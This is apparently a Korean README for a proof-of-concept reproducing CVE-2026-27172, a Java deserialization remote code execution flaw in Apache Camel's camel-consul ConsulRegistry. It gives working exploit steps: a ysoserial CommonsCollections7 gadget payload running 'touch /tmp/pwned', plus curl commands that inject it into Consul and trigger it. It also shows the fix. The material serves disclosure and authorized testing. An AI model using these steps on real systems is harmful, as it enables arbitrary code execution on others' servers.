
CVE-2026-27172 재현기: Apache Camel camel-consul ConsulRegistry Java 역직렬화 (RCE)
이 프로젝트는 Apache Camel의 camel-consul 컴포넌트(ConsulRegistry)에서 발견된 Java 역직렬화 취약점인 CVE-2026-27172를 재현합니다. 이는 CVE-2024-22369, CVE-2024-23114, CVE-2026-25747과 동일한 유형의 문제로, 해당 CVE들의 초기 수정 과정에서 간과되었습니다.
보안 권고: https://camel.apache.org/security/CVE-2026-27172.html
| 속성 | 값 |
|---|---|
| 컴포넌트 | camel-consul |
| 영향받는 클래스 | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| 취약한 메서드 | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | 원격 코드 실행 (RCE) |
| 영향받는 버전 | 3.0.0부터 4.14.6 이전, 4.15.0부터 4.18.1 이전 |
| 수정된 버전 | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry는 Consul 키/값 저장소를 Camel 레지스트리로 사용합니다. 이름으로 빈(bean)을 조회하면 저장된 값이 Base64로 디코딩된 후 원시 ObjectInputStream으로 역직렬화되며, 영향받는 버전에서는 ObjectInputFilter가 적용되지 않습니다:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Consul KV 저장소에서 Camel이 나중에 조회하는 키 아래에 저장된 모든 객체는 역직렬화됩니다. 해당 KV 경로에 쓰기 권한이 있는 공격자는 레지스트리 조회 시 실행되는 가젯 체인 페이로드를 심을 수 있습니다.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry는 Base64로 인코딩된 직렬화 객체를 저장하므로, 페이로드는 Base64로 전달됩니다.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName()은 KV 값을 읽어 Base64로 디코딩한 후 역직렬화하며, 이때 가젯 체인이 실행됩니다.
ls -la /tmp/pwned
/tmp/pwned 파일이 존재하면 익스플로잇이 성공한 것입니다.
레지스트리가 빈을 해석할 때마다 취약점이 트리거됩니다:
.to("bean:..."), bean(...), .process("...") 이름 기반 호출은 모두 lookupByName()을 호출합니다.findByType() / lookupByNameAndType()이 KV 항목을 순회하며 역직렬화합니다.commons-collections:3.2.1 (CommonsCollections1-7 가젯)수정(CAMEL-23029)은 ConsulRegistryUtils.deserialize에 구성 가능한 ObjectInputFilter(기본값 java.**;org.apache.camel.**;!*)를 추가하고, 신뢰할 수 있는 클래스를 허용 목록에 추가할 수 있도록 deserializationFilter 옵션을 노출합니다:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
수정된 버전으로 업그레이드할 때까지:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
이 재현기는 공개되었고 수정된 취약점에 대한 보안 연구 및 허가된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 측면 | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| 백업 저장소 | Cassandra 테이블 | LevelDB 파일 | Consul KV 저장소 |
| ObjectInputFilter (수정 전) | 없음 | 없음 | 없음 |
| 수정 방법 | ObjectInputFilter 허용 목록 | ObjectInputFilter 허용 목록 | ObjectInputFilter 허용 목록 |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |